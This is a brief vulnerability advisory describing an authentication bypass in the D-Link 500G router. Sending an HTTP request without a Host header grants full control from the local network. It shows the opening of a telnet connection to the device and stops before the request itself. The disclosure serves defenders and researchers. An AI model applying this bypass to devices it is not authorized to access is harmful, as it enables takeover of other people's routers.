D-LINK 500G AUTHENTICATION BYPASS SUMMARY There is an authentication bypass vulnerability in D-Link 500G that allows an attacker to take full control over the device. Remote access is disabled by default, so the attacker is required to be on the local network. The bypass can be triggered sending a HTTP request without the HOST header. $ telnet 192.168.0.1 80 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'.
